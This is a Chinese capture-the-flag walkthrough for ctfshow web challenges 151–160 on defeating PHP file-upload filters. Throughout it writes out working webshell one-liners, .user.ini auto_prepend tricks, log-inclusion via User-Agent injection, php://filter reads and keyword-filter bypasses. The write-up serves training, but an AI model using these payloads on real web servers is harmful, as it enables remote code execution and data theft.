ctfshow-web入门-文件上传(web151-web160)

目录

1、web151

2、web152

3、web153

4、web154

5、web155

6、web156

7、web157

8、web158

9、web159

10、web160


1、web151

试了下前端只能传 png 后缀的

将一句话木马改成 png 后缀,上传后用 burpsuite 抓包

绕过前端检测后,改回 php 后缀,发包

调用:

/upload/eval.php?cmd=system('ls');

发现 flag 在上一层目录:

/upload/eval.php?cmd=system('ls ../');

读取 flag:

/upload/eval.php?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{e3bd0332-4d5f-4255-941f-a2e6095c4f17}

我们还可以直接改它前端验证的代码:

原本只支持上传 png 后缀的文件

我们加一个 php 后缀进去,即可直接上传 php 后缀的文件

2、web152

同样前端只能传 png

但是只改前端代码是不行的,说明后端还有检测

传 png 后缀的木马,使用 burpsuite 抓包,改回 php 后缀发包即可,这里后端检测的就是这个 Content-Type(MIME类型),因为我们本身一开始就是传的 png 后缀,所以这里不需要改,就是 image/png 类型,如果你一开始传的 php 后缀,则需要改这个 Content-Type 为图片类型。

调用:

/upload/eval.php?cmd=system('ls ../');

读取 flag:

/upload/eval.php?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{e9f076b9-738c-457a-a97d-9118043a5170}

3、web153

按照上一题的方法,回显 unicode 编码:文件类型不合规

换方法:上传配置文件 .htaccess 或者 .user.ini

这个是文件上传很常规的操作,这两个配置文件都可以让其它类型的文件被当做 php 文件进行解析,具体哪个能用,取决于题目环境的实际情况。

先测试 .user.ini

内容为:

GIF89a
auto_prepend_file=eval.png

为了绕过前段验证,我们也需要先改为 png 后缀,再用 burpsuite 抓包改回来:

上传成功

之后传入 eval.png,直接传即可

我之前做过的题都是去连 /upload/eval.png,而这道题它是要连 /upload/index.php

看其他师傅说是木马被自动包含进原来目录里的 php 文件,一般是index.php

一开始 upload 目录可以访问到,说明 upload 目录中含有 php 文件

确实在 upload 目录下可以调用到 eval.png 

拿到 flag:ctfshow{84684dac-a254-4430-82a8-084d2d3c3168}

4、web154

试了下 .htaccess ,发现不行,那就继续传 .user.ini

传 eval.png,发现被检测,因该是对文件内容进行了检测

这里检测的是 php,使用大小写绕过一下

上传成功

调用:

/upload/?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{8fcedb5b-b320-49ae-a24a-367bc2bc30b4}

5、web155

同样先传 .user.ini

但是在传 eval.png 时又遇到了问题,说明新增了其他过滤 

测了一下这里过滤的还是 php 但是不区分大小写,可以采用短标签绕过:

<?= @eval($_REQUEST["cmd"]) ?>

 

ctfshow{b2012b6b-2fc3-4d0c-8c47-1b39218f6e4c}

6、web156

先传 .user.ini

肯定会新增其他的过滤,我们先对文件内容做一下 fuzz 测试

写了个 python 小脚本用来生成我们模糊测试的字典:

# 输入一串字符
input_string = input("请输入一串字符:")# 将字符拆分成单个字符,并添加换行符
split_characters = "\n".join(input_string)# 将结果写入 fuzz.txt 文件
with open("fuzz.txt", "w") as file:file.write(split_characters)print("字符已拆分并写入 fuzz.txt 文件")

得到字典: 

选择测试位置: 

可以看出来是新增过滤中括号:[ 

实际还过滤了分号,只是短标签中可以省略,因此我没有用到。

我们使用 {} 代替:

<?= @eval($_REQUEST{"cmd"}) ?>

上传成功 

ctfshow{0b3821a9-ccf0-47a8-952d-cbf300a148e0}

7、web157

先传 .user.ini

继续在上一题 payload 的基础上进行模糊测试:

发现新增过滤大括号:{

因此我们一句话木马就不好写了,但是我们可以直接传入恶意的 php 代码,直接去执行读取它 flag 的命令:

<? system('tac ../f*') ?>

上传成功

访问 upload 目录:

拿到 flag:ctfshow{7a953bed-eed4-4ec9-ae3a-2371c9199ac8} 

那么,有没有能使用的一句话木马呢?不使用到中括号和大括号。

当然是有的:利用 array 数组

<?=
array_map("assert",$_REQUEST)
?>

调用:

/upload/?assert=system('tac ../flag.php');

此外应该是还有其他类型的一句话木马的,这里就不做演示了各位自己去研究和发现。

8、web158

先传配置文件

直接传上一题的 array.png,发现可以上传成功

调用:

/upload/?assert=system('tac ../flag.php');

ctfshow{a32b7333-2619-47ca-9ba6-16df22bda293}

我们看一下 upload.php :

preg_match('/php|\{|\[|\;|log/i', $str);

这里新增过滤了 log,为什么要过滤 log?

其实从上一题开始已经涉及到了一个东西,就是日志文件包含。

还是先传 .user.ini (这里针对的是 1.png,避免受前面操作影响建议重启环境进行测试)

我们包含日志文件看一下是什么:

这道题新增过滤了 log,我们使用点进行拼接绕过

<?=include '/var/l'.'og/nginx/access.l'.'og'?>

上传 1.png

访问 upload 目录,发现内容为 user-agent 的内容,也就是说我们日志文件包含成功

接下来我们就可以进行 ua 头注入:

插入恶意代码或者一句话木马

再次访问 upload :

成功回显 flag

9、web159

还是先上配置文件

fuzz 测试:

这次把括号也过滤了,也就是说不能直接使用函数了

上一题的日志文件包含是可以继续使用的,这里不再演示

此外还有一种方法就是使用反引号进行命令执行:

<?=`tac ../f*`?>

上传成功:

访问 upload 目录:

拿到 flag:ctfshow{44ba6e5c-4398-40ef-beec-229b460e23f5}

10、web160

先做模糊测试:

新增过滤空格和反引号

日志文件包含进行 ua头注入也是可行的

这里再说另一种方法,使用 php 伪协议读取:

先上配置文件

接着传 2.png ,使用 php://filter 读取 flag.php 的源码,注意使用拼接绕过关键字的过滤。

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

上传成功

访问 upload 

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0yMSAyMTozMToyMw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMTAtMTYgMjI6NDE6NDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3szZWIxY2MyMy05YmRmLTQ4NzYtOWU0Ny0xYTg2ZjA3NzBmMmJ9Ijs

解码得到 flag:

ctfshow{3eb1cc23-9bdf-4876-9e47-1a86f0770f2b}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/42255.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

阶段三:项目开发---搭建项目前后端系统基础架构:任务11:搭建项目后台系统基础架构

任务描述 1、了解搭建民航后端框架 2、使用IDEA创建基于SpringBoot、MyBatis、MySQL、Redis的Java项目 3、以原项目为参照搭建项目所涉及到的各个业务和底层服务 4、以原项目为例&#xff0c;具体介绍各个目录情况并参照创建相关文件夹 任务指导 1、讲框架的选择和原理 …

《梦醒蝶飞:释放Excel函数与公式的力量》9.4 NPV函数

9.4 NPV函数 NPV函数是Excel中用于计算净现值的函数。净现值&#xff08;Net Present Value, NPV&#xff09;是财务管理和投资决策中常用的指标&#xff0c;用于评估投资项目的价值。NPV表示的是未来一系列现金流的现值总和减去初始投资后的余额。 9.4.1 函数简介 NPV函数通…

微信小程序订单发货管理接入

订单发货管理接入指引&#xff1a;https://mp.weixin.qq.com/cgi-bin/announce?token1148555877&actiongetannouncement&key11671435333v04b2&version1&langzh_CN&platform2https://mp.weixin.qq.com/cgi-bin/announce?token1148555877&actiongetann…

32位Arm嵌入式开发Ubuntu环境设置

32位Arm嵌入式开发Ubuntu环境设置 今天在调试一块32位ARM A7开发板时老是不成功&#xff0c;我装的是Ubuntu22.04版&#xff0c;在终端下运行工具链里的gdb程序居然报了一大堆错误&#xff0c;缺这个缺那个&#xff0c;按照提示装了一遍&#xff0c;再运行发现需要Python2.7环境…

【机器学习】基于密度的聚类算法:DBSCAN详解

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 基于密度的聚类算法&#xff1a;DBSCAN详解引言DBSCAN的基本概念点的分类聚类过…

QThread moveToThread的妙用

官方文档描述 总结就是移动到线程的对象不能有父对象&#xff0c;执行start即起一个线程&#xff0c;示例是将myObject移动到主线程中。QT中这种方式起一个线程是非常简单的。 示例描述以及代码 描述往Communicate线程中频繁添加任务&#xff0c;等任务结束的时候统计计算的结…

001,函数指针是一种特殊的指针,它指向的是一个函数地址,可以存储函数并作为参数传递,也可以用于动态绑定和回调函数

函数指针是一种特殊的指针 001&#xff0c;函数指针是一种特殊的指针&#xff0c;它指向的是一个函数地址&#xff0c;可以存储函数并作为参数传递&#xff0c;也可以用于动态绑定和回调函数 文章目录 函数指针是一种特殊的指针前言总结 前言 这是ai回答的标准答案 下面我们…

如何监控和分析 PostgreSQL 中的查询执行计划?

文章目录 一、为什么监控和分析查询执行计划很重要二、PostgreSQL 中用于获取查询执行计划的方法三、理解查询执行计划的关键元素四、通过示例分析查询执行计划五、优化查询执行计划的常见策略六、使用工具辅助分析七、结合实际案例的详细分析八、总结 在 PostgreSQL 数据库中&…

[LoaderRunner] 关于LoaderRunner的基本使用

LoadRunner环境搭建 LoadRunner运行的环境参考以下文档&#xff1a;Docs 介绍LoadRunner LoadRunner是什么 LoadRunner是性能测试工具&#xff0c;对软件或者系统的性能进行评估 为什么使用LoadRunner LoadRunner具有以下的优势&#xff1a; LoadRunner相比于其他的测试工具…

Python视觉轨迹几何惯性单元超维计算结构算法

&#x1f3af;要点 &#x1f3af;视觉轨迹几何惯性单元超维计算结构算法 | &#x1f3af;超维计算结构视觉场景理解 | &#x1f3af;超维计算结构算法解瑞文矩阵 | &#x1f3af;超维矢量计算递归神经算法 &#x1f36a;语言内容分比 &#x1f347;Python蒙特卡罗惯性导航 蒙…

“来来来,借一步说话”,让前端抓狂的可视化大屏界面。

可视化大屏的前端开发难度要远远高于普通前端&#xff0c;尤其是当设计师搞出一些花哨的效果&#xff0c;很容易让UI和前端陷入口水大战中。 可视化大屏的前端开发相比普通前端开发的难度要高&#xff0c;主要是因为以下几个方面&#xff1a; 1. 数据量大&#xff1a; 可视化…

基于STM32的通用红外遥控器设计: 解码、学习与发射(代码示例)

摘要&#xff1a; 本文将带你使用STM32打造一款功能强大的万能红外遥控器&#xff0c;它可以学习和复制多种红外信号&#xff0c;并通过OLED屏幕和按键实现便捷操作。我们将深入探讨红外通信原理、STM32编程、OLED显示和EEPROM数据存储等关键技术&#xff0c;并提供完整的代码示…

阶段三:项目开发---搭建项目前后端系统基础架构:任务10:SpringBoot框架的原理和使用

任务描述 1、熟悉SpringBoot框架的原理及使用 2、使用IDEA创建基于SpringBoot、MyBatis、MySQL的Java项目 3、当前任务请在client节点上进行 任务指导 1、SpringBoot框架的选择和原理 2、MyBatis-Plus的选择和原理 3、使用IDEA创建基于SpringBootMyBatis-PlusMySQL的Jav…

前端面试题19(vue性能优化)

Vue.js应用的性能优化是一个多方面的过程&#xff0c;涉及初始化加载、运行时渲染以及用户交互等多个环节。以下是一些关键的Vue性能优化策略&#xff0c;包括详细的说明和示例代码&#xff1a; 1. 懒加载组件 对于大型应用&#xff0c;可以使用懒加载来减少初始加载时间。Vu…

vite+vue3整合less教程

1、安装依赖 pnpm install -D less less-loader2、定义全局css变量文件 src/assets/css/global.less :root {--public_background_font_Color: red;--publicHouver_background_Color: #fff;--header_background_Color: #fff;--menu_background: #fff; }3、引入less src/main.…

官网首屏:激发你的小宇宙和第六感,为了漂亮,干就完了。

官网的首屏是指用户打开网站后首先看到的页面&#xff0c;通常是整个网站最重要的一部分。首屏的设计和内容对于吸引用户的注意力、传达品牌形象和价值、促使用户继续浏览和进行交互非常关键。以下是官网首屏的重要性的几个方面&#xff1a; 1. 第一印象&#xff1a; 首屏是用…

微信小程序毕业设计-医院挂号预约系统项目开发实战(附源码+论文)

大家好&#xff01;我是程序猿老A&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;微信小程序毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计…

用C#调用Windows API向指定窗口发送按键消息详解与示例

文章目录 1. 按键消息的定义及功能2. 引入所需的命名空间3. 定义Windows API函数4. 定义发送消息的方法5. 获取窗口句柄6. 调用API发送按键消息7. 使用示例注意事项总结 在C#中调用Windows API向指定窗口发送按键消息是一种常见的操作&#xff0c;这通常用于自动化脚本、游戏辅…

批量文本编辑管理神器:一键修改多处内容,轻松转换编码,助力工作效率飞跃提升!

在信息爆炸的时代&#xff0c;文本处理已成为我们日常工作中不可或缺的一部分。无论是处理文档、整理数据还是编辑资料&#xff0c;都需要对大量的文本进行管理和修改。然而&#xff0c;传统的文本编辑方式往往效率低下&#xff0c;容易出错&#xff0c;难以满足现代工作的高效…

JimuReport 积木报表 v1.7.7 版本发布,一款免费的报表工具

项目介绍 一款免费的数据可视化报表工具&#xff0c;含报表和大屏设计&#xff0c;像搭建积木一样在线设计报表&#xff01;功能涵盖&#xff0c;数据报表、打印设计、图表报表、大屏设计等&#xff01; Web 版报表设计器&#xff0c;类似于excel操作风格&#xff0c;通过拖拽完…